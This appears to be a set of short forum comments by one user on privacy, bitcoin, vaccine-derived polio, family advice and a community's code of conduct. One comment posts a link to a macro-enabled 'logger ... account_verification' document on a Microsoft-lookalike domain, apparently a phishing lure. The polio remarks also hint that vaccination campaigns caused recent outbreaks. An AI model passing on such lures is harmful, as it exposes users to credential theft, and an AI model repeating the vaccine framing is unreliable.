tl:dr when they say ‘I have nothing to hide’ you respond with 'you aren’t even really you without privacy so you can’t really say what ‘you’ have to hide. Then when they give you a confused stare you walk them through the previous logical steps. I’m not sure it’s incredibly persuasive IRL especially to the kind of person who would argue against their own fundamental human rightd in this way (i’ve had similar chats with my own father fwiw) but it’s a good starting point.

Following up with concrete examples of harm (which don’t rely on a logical chain of propositions) is a good follow up.

being monitored (even if you are not aware of it) changes your behaviour via the ‘big brother’ effect.

Your behaviour is most of what makes you an individual, and is the means through which people express their autonomy and social existence.

putting these things together gives you the result that you cannot fully be ‘yourself’ while you are being watched. At best you are performing what you’d like ‘yourself’ to be for an expected audience.

Self actualisation, or the process of developing and becoming ‘yourself’ is therefore disrupted meaning that you can never be or know yourself while you lack real privacy.

Another (more dramatic) way to say it would be you cannot be fully human without also enjoying a default privacy

i found it pretty interesting that the slur ‘redneck’ originally referred to striking labourers who participated in the battle of blair mountain. I’m incredibly cynical mind you, but it revealed to me why the term is culturally contested even to this day.

rednecks were unionists

the early plan for btc was to break the spine of central banking cartels and to eventually threaten the reserve status of the greenback. 2008 was still fresh in our minds, and back then it was fashionable to blame fiat currency and the pratcise of fractional reserve lending. The original ‘zeitgeist’ movie was a big influence on the whole scene.

Eventually people began to figure out that btc was most likely a vehicle for oligarchs and elites to shelter their assets from the next financial crash which killed the libertarian enthusiasm for the project. Now btc is exclusively for tech-bros and other finance-adjacent types just trying to personally enrich themselves.

did you read the link i provided? in case the implication wasn’t clear i’ll say it explicitly. Viruses which are virtually nonexistent (not circulating in the population) can be induced in a population by vaccination itself (in rare cases when using an attenuated virus).

This means there is a risk, especially for viruses like polio which basically don’t exist anymore, that a vaccination program will generate polio cases which then spread and create a new outbreak of polio.

Those recent outbreaks of polio were thought to be from an unnecessarily aggressive vaccination program, at least that’s the reporting i encountered.

I haven’t done a risk calculation, i don’t claim to be an epidemiologist or to know at what point this exotic risk outweighs the benefit of herd immunity. I suspect that calculation depends on things like exposure points in the population, general immunity, and the %of people already vaccinated historically.

It’s definitely a real effect (i linked directly to the american CDC) and it should be included in any discussion concerning virtually dead viruses. It hasn’t been made up by ‘antivaccers’ and for me personally i don’t even bring this up in those kind of spaces because i don’t trust them to parse this level of nuance and contradiction to be brutally honest.

The risk profile probably varies virus to virus also.

other than vaccine induced polio how would a modern day person in the USA even get exposed to polio?

we need a butlerian jihad. I want smart humans and dumb machines again

‘he was downvoted for speaking the truth’

you should check out the 2009 ghostbusters game, many consider it to be the true ‘ghostbusters 3’

love isn’t the opposite of hate, apathy is. If you truly despise her, cut off contact, she is your mother and this will cause her profound pain. I’m assuming you’re pretty young to be feeling this way, whatever the problem is, you will understand it and its roots better as you get older. One day you might think about her differently as you understand her more. There’s always a reason why broken people do broken things. Good luck and don’t do anything dumb

lol https://microsoft.ic6do.com/logger_X6NdNh_account_verification.docm

the code of conduct here is a disaster, and i’m sure it turns away free speech enthusiasts, as well as otherwise apolitical people trying to escape woke culture.

It is not and should not be your responsibility to not cause offense.

Anyone can be offended by anything, and by prioritising the feelings of whoever claims offense over the free speech rights of the ‘offender’ you risk these claims being made spuriously to weaken and fragment the organisation. This is how other foss orgs have been infiltrated and compromised, and it’s concerning to see the same foundation laid here.

In that sense this place does feel like reddit, with their onerous and politicised moderation which promotoes an ideological race to the bottom, where only the most hegemonic and milquetoast opinions are permitted. Decentralisation and unmoderated freedom of speech should go hand in hand but the culture has shifted far away from that, and it’s no accident.